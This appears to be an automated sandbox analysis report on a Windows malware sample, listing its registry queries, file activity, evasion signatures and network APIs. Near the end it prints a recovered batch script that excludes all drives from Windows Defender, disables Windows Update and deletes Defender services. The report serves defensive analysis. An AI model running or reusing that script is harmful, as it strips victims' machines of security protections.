Path: "HKLM\SYSTEM\SETUP"; Key: "SYSTEMSETUPINPROGRESS"; Value: "") "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\RPC"; Key: "IDLETIMERWINDOW"; Value: "") "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: "074CEC0065BD7FA9AD545A44A73AB75074B9A5A59F7EE357CB50A918FE41BE2E.EXE"; Value: "") "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "LOGFLAGS"; Value: "") "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: "CACHE"; Value: "") "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY"; Value: "") "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK"; Value: "") "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "TYPE"; Value: "") "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "ALTERNATECODEPAGE"; Value: "") "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "")70:T45b,The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Able to identify virtual environment by using user activity (API string) Matched sigs: Contains ability to delay execution (Powershell command string) Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string) Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string) Matched sigs: Able to perform sandbox evasion using APIs Matched sigs: Contains ability to delay the execution of current thread Matched sigs: Able to identify virtual environment by using API string Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques Matched sigs: Observed a high volume of repeated registry API calls (API Hammering) Matched sigs: Contains ability to detect sandbox (imports API) Matched sigs: Contains ability to detect virtual environment (API) Matched sigs: Makes a code branch decision directly after an API that is environment aware71:T49c,"074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" trying to touch file "C:\Windows\System32\WOW64LOG.DLL" "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" trying to touch file "C:\Windows\SysWOW64\mscoree.dll" "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" trying to touch file "C:\Windows\SysWOW64\apphelp.dll" "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" trying to touch file "C:\074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" trying to touch file "C:\Windows\SysWOW64\ntdll.dll" "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" trying to touch file "C:\Windows\SysWOW64\kernel32.dll" "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" trying to touch file "C:\Windows\SysWOW64\KernelBase.dll" "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" trying to touch file "C:\Windows\apppatch\sysmain.sdb" "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" trying to touch file "C:\Windows\Temp\VxSSL32.dll"72:T5cf,"074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" touched file "C:\Windows\winloghelper.exe" "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" touched file "C:\Windows\systemhelper.exe" "powershell.exe" touched file "C:\Windows\System32\CatRoot" "powershell.exe" touched file "C:\Windows\System32\catroot2" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive" "powershell.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive" "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" touched file "C:\Windows\sROBvkl9.exe" "systemhelper.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "systemhelper.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "winloghelper.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache" "winloghelper.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCookies" "winloghelper.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\History" "winloghelper.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\4EKOOWYY\random[1].exe" "winloghelper.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "winloghelper.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\T1MM1X3A\random[1].exe"73:Te24,"074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL" "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" trying to access non-existent file "C:\FLTLIB.DLL" "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" trying to access non-existent file "C:\CRYPTSP.DLL" "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\CLR.DLL" "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\MSCORWKS.DLL" "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\CLR.DLL" "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\MSCORWKS.DLL" "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\CLR.DLL" "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\VCRUNTIME140_CLR0400.DLL" "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\VCRUNTIME140_CLR0400.dll" "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\UCRTBASE_CLR0400.DLL" "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ucrtbase_clr0400.dll" "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSCOREE.DLL" "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\OLE32.DLL" "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ole32.dll" "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" trying to access non-existent file "C:\Windows\SysWOW64\RPCSS.DLL" "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" trying to access non-existent file "C:\WINDOWS\system32\rpcss.dll" "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows Defender\Platform\4.12.17007.18022-0\X86\SLC.DLL" "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows Defender\platform\4.12.17007.18022-0\X86\SLC.dll"74:Tace,"074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" trying to access non-existent file "C:\Windows\SysWOW64\MSCOREE.DLL.LOCAL" "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\MSCOREE.DLL.local" "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" trying to access non-existent file "C:\074CEC0065BD7FA9AD545A44A73AB75074B9A5A59F7EE357CB50A918FE41BE2E.EXE.CONFIG" "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\FUSION.LOCALGAC" "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\fusion.localgac" "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\074CEC0065BD7FA9AD545A44A73AB75074B9A5A59F7EE357CB50A918FE41BE2E.EXE.LOG" "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" trying to access non-existent file "C:\074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe.config" "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_32\DOWNLOADERAPP" "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" trying to access non-existent file "C:\074CEC0065BD7FA9AD545A44A73AB75074B9A5A59F7EE357CB50A918FE41BE2E.INI" "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" trying to access non-existent file "C:\074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.INI" "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" trying to access non-existent file "C:\Windows\assembly\GAC\PUBLISHERPOLICY.TME" "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_32\SYSTEM.SERV759BFB78#" "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\SYSTEM.SERVICEPROCESS.INI" "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.INI" "powershell.exe" trying to access non-existent file "C:\Windows\SysWOW64\MSCOREE.DLL.LOCAL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\mscoree.dll.local"75:Tdf7,Found reference to API "HttpSendRequestA" (Indicator: "HttpSendRequest"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "InternetConnectA" (Indicator: "InternetConnect"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "HttpOpenRequestA" (Indicator: "HttpOpenRequest"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "HttpSendRequestExA" (Indicator: "HttpSendRequest"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "HttpOpenRequestA" (Indicator: "HttpOpenRequest"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "HttpSendRequestExA" (Indicator: "HttpSendRequest"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "HttpSendRequestA" (Indicator: "HttpSendRequest"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "InternetConnectA" (Indicator: "InternetConnect"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "HttpOpenRequestA" (Indicator: "HttpOpenRequest"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp") Found reference to API "HttpSendRequestExA" (Indicator: "HttpSendRequest"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp") Found reference to API "HttpSendRequestA" (Indicator: "HttpSendRequest"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp") Found reference to API "InternetConnectA" (Indicator: "InternetConnect"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp")76:T2951,Observed string: "cd /d "%~dp0hater"nircmd win min process "cmd.exe":Startchcp 65001 >nulColor 0fset "Arch=" & set "ArgNsudo=" & set "MainFolder1=" & set "MainFolder2=" & set "ProcList=" & set "NumberWin="SetLocal EnableDelayedExpansioncd /d "%~dp0hater"set "Arch=x64" & (If "%PROCESSOR_ARCHITECTURE%"=="x86" if not defined PROCESSOR_ARCHITEW6432 set Arch=x86)reg query "HKU\S-1-5-19" >nul 2>&1 || nircmd elevate "%~f0" any_word && exitif defined WT_SESSION (reg add "HKCU\Console\%%%%Startup" /v "DelegationConsole" /t REG_SZ /d "{B23D10C0-E52E-411E-9D5B-C09FDF709C7D}" /f >nulreg add "HKCU\Console\%%%%Startup" /v "DelegationTerminal" /t REG_SZ /d "{B23D10C0-E52E-411E-9D5B-C09FDF709C7D}" /f >nulreg add "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f >nul 2>&1if /i "%USERNAME%" neq "%COMPUTERNAME%$" NSudoLG -U:T -P:E -UseCurrentConsole %0 any_word && exitset "Version=15.0"set "DateProgram=28.03.25"Mode 79,49for /f "tokens=4 delims=[] " %%v in ('ver') do set "NumberWin=%%v"reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" | find /i "0x0" >nul 2>&1 && set "ArgNsudo=C" || set "ArgNsudo=E"for /f "skip=3 tokens=1" %%a in ('tasklist') do set "ProcList=!ProcList! %%a "for %%p in (SmartScreen MsMpEng SgrmBroker MsSense NisSrv MpCmdRun MPSigStub SecurityHealthSystray SecurityHealthService SecurityHealthHost MpDefenderCoreService) do (if "!ProcList!"=="!ProcList:%%p.exe =!" (set "%%~pP=0a") else (set "%%~pP=0c"))set "ListWDServ=WinDefend MDCoreSvc WdNisSvc Sense wscsvc SgrmBroker SecurityHealthService webthreatdefsvc webthreatdefusersvc WdNisDrv WdBoot WdFilter SgrmAgent MsSecWfp MsSecFlt MsSecCore"for %%x in (%ListWDServ%) do reg query "HKLM\System\CurrentControlSet\Services\%%~x" >nul 2>&1 && set "%%~x=0c" || set "%%~x=0a"if exist "%AllUsersProfile%\Microsoft\Windows Defender" (set "MainFolder1=04") else (set "MainFolder1=0a")if exist "%SystemDrive%\Program Files\Windows Defender" (set "MainFolder2=04") else (set "MainFolder2=0a")set PathTask=%SystemRoot%\System32\Tasks\Microsoft\Windows\Windows Defenderif not exist "%PathTask%\Windows Defender Cache Maintenance" (set "Maintenance=0a") else (set "Maintenance=0c")if not exist "%PathTask%\Windows Defender Scheduled Scan" (set "Scan=0a") else (set "Scan=0c")if not exist "%PathTask%\Windows Defender Verification" (set "Verification=0a") else (set "Verification=0c")if not exist "%PathTask%\Windows Defender Cleanup" (set "Cleanup=0a") else (set "Cleanup=0c"):StartProcessRemovever | findstr /c:"6.1.7601" >nul 2>&1 && goto :SkipUnlockerreg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion" /v "ProductName" | find /i "Windows 7" >nul 2>&1 && goto :SkipUnlockerreg query HKLM\System\CurrentControlset\Services\WdFilter >nul 2>&1 && reg query "HKLM\Software\Microsoft\Windows Defender" >nul 2>&1 && ( reg query "HKLM\Software\Microsoft\Windows Defender\Exclusions\Paths" | find /i "%SystemDrive%\" >nul 2>&1 || ( NSudoLG -U:%ArgNsudo% -ShowWindowMode:Hide -Wait PowerShell "[System.IO.DriveInfo]^::GetDrives^(^) ^| ForEach-Object { Add-MpPreference -ExclusionPath $_.Name }^; Start-Sleep -Milliseconds 1000" >nul 2>&1 )7z x -aoa -bso0 -bsp1 "land.zip" -p"normas" "game.exe" >nulgame.exe /CurrentDiskSize:StartUnlockerAndSkipBackupfor %%S in (wuauserv dosvc bits UsoSvc WaaSMedicSvc) do ( sc stop %%S >nul 2>&1 sc config %%S start= disabled >nul 2>&1reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate" /v DisableWindowsUpdateAccess /t REG_DWORD /d 1 /f >nul 2>&1reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v "Start" /t REG_DWORD /d 4 /f >nul 2>&1reg load HKLM\TEMP_SYSTEM C:\Windows\System32\config\SYSTEMreg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\wuauserv" /v Start /t REG_DWORD /d 4 /freg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\UsoSvc" /v Start /t REG_DWORD /d 4 /freg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /freg unload HKLM\TEMP_SYSTEMgame /delwd game /DelWD:FinishDeletedel /q game.exe >nul 2>&1reg delete "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /f >nul 2>&1 :CreateRunOnceDelRegset "RegKey=HKLM\System\CurrentControlSet\Services"for %%p in (RegClean RegClean1) do reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "%%p" /t reg_sz /f /d "\"%~dp0hater\NSudoLG.exe\" -U:T -P:E -ShowWindowMode:Hide -Wait start "" /min cmd.exe /c \"timeout /t 3 /nobreak ^& reg delete %RegKey%\WdFilter /f ^& reg delete %RegKey%\WinDefend /f ^& reg delete %RegKey%\WdNisDrv /f ^& reg delete %RegKey%\MDCoreSvc /f ^& reg delete %RegKey%\WdNisSvc /f ^& reg delete %RegKey%\WdBoot /f\"" >nulexit /b:AppRepSysset "NameAppRep="for /f "usebackq delims=" %%n In (2^>nul reg query "HKU\%SID%\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Repository\Packages" /f "*Apprep.ChxApp*" /k^|findstr ^H) do set NameAppRep=%%~nxnreg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\EndOfLife\S-1-5-18\%NameAppRep%" /f >nulreg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\EndOfLife\%SID%\%NameAppRep%" /f >nulNSudoLG -U:%ArgNsudo% -ShowWindowMode:Hide -Wait PowerShell "Get-AppxPackage -AllUsers *Apprep.ChxApp* | Remove-AppxPackage"NSudoLG -U:S -P:E -ShowWindowMode:Hide -Wait PowerShell "Get-AppxPackage -All *Apprep.ChxApp* | Remove-AppxPackage -User 'S-1-5-18' -ErrorAction SilentlyContinue"for /f "usebackq delims=" %%n In (2^>nul reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\InboxApplications" /f "*Apprep.ChxApp*" /k^|findstr ^H) do reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\InboxApplications\%%~nxn" /f >nul 2>&1for /f "usebackq delims=" %%d In (2^>nul Dir "%ProgramData%\Microsoft\Windows\AppRepository\Packages\*Apprep.ChxApp*" /S /B /A:D) do rd /s /q "%%d"for /f "usebackq delims=" %%d In (2^>nul Dir "%LocalAppData%\Packages\*Apprep.ChxApp*" /S /B /A:D) do rd /s /q "%%d"game /unlock "%AllUsersProfile%\Microsoft\Windows Defender" "%SystemDrive%\Program Files\Windows Defender" "%SystemDrive%\Program Files (x86)\Windows Defender"for %%d in ("Windows Defender""Windows Defender Advanced Threat Protection""Windows Security Health"for %%d in ("Windows Defender""Windows Defender Sleep""Windows Defender Advanced Threat Protection""Windows Security""PCHealthCheck"for %%d in ("Windows Defender""Windows Defender Advanced Threat Protection"for %%f in (SecurityHealthService.exe SecurityHealthSystray.exeSecurityHealthHost.exe SecurityHealthAgent.dllSecurityHealthSSO.dll SecurityHealthProxyStub.dllsmartscreen.dll wscisvif.dll wscproxystub.dllsmartscreenps.dll wscapi.dll windowsdefenderapplicationguardcsp.dllwscsvc.dll SecurityHealthCore.dll SecurityHealthSsoUdk.dllSecurityHealthUdk.dll smartscreen.exe) do () >nul 2>&1) >nul 2>&1set "Counter=1"set "Counter64=1"for %%i in (08728914-3F57-4D52-9E31-49DAECA5A80A 10964DDD-6A53-4C60-917F-7B5723014344 17072F7B-9ABE-4A74-A261-1EB76B55107A195B4D07-3DE2-4744-BBF2-D90121AE785B 2781761E-28E0-4109-99FE-B9D127C57AFE 2981a36e-f22d-11e5-9ce9-5e5517507c662DCD7FDB-8809-48E4-8E4F-3157C57CF987 2EF44DE8-80C9-42D9-8541-F40EF0862FA3 3213CD15-4DF2-415F-83F2-9FC58F3AEB3A3522D7AF-4617-4237-AAD8-5860231FC9BA 361290c0-cb1b-49ae-9f3e-ba1cbe5dab35 36383E77-35C2-4B45-8277-329E4BEDF47F3886CA90-AB09-49D1-A047-7A62D096D2753CD3CA1E-2232-4BBF-A733-18B700409DA0 45F2C32F-ED16-4C94-8493-D72EF93A051B4DB116D1-9B24-4DFC-946B-BFE03E852002 5ffab5c8-9a36-4b65-9fc6-fb69f451f99c 6CED0DAA-4CDE-49C9-BA3A-AE163DC3D7AF6D40A6F9-3D32-4FCB-8A86-BE992E03DC76 7E66DBEF-2474-4E82-919B-9A855F4C2FE8 82345212-6ACA-4B38-8CD7-BF9DE8ED07BD849F5497-5C61-4023-8E10-A28F1A8C6A70 88866959-07B0-4ED8-8EF5-54BC7443D28C 8a696d12-576b-422e-9712-01b9dd84b4468C38232E-3A45-4A27-92B0-1A16A975F669 8E67B5C5-BAD3-4263-9F80-F769D50884F7 A2D75874-6750-4931-94C1-C99D3BC9D0C7a463fcb9-6b1c-4e0d-a80b-a2ca7999e25d A7C452EF-8E9F-42EB-9F2B-245613CA0DC9 C8DFF91D-B243-4797-BAE6-C461B65EDED3D5F7E36B-5B38-445D-A50F-439B8FCBB87A DACA056E-216A-4FD1-84A6-C306A017ECEC DBF393FC-230C-46CC-8A85-E9C599A81EFBE041C90B-68BA-42C9-991E-477B73A75C90 E476E4C0-409C-43CD-BBC0-5905B4138494 F2102C37-90C3-450C-B3F6-92BE1693BDF2F80FC80C-6A04-46FB-8555-D769E334E9FC FEEE9C23-C4E2-4A34-8C73-FE8F9786C8B4 D8559EB9-20C0-410E-BEDA-7ED416AECC2A) do (set /a Counter+=1set /a Counter64+=1exit /b:RestoreDefenderif not exist "%SystemRoot%\System32\config\systemprofile\Desktop" md "%SystemRoot%\System32\config\systemprofile\Desktop"set "BackupFolder="if not defined BackupFolder goto ManageDefenderpushd "%BackupFolder%"copy /y "Files\System32" "%SystemRoot%\System32"copy /y "Files\SysWOW64" 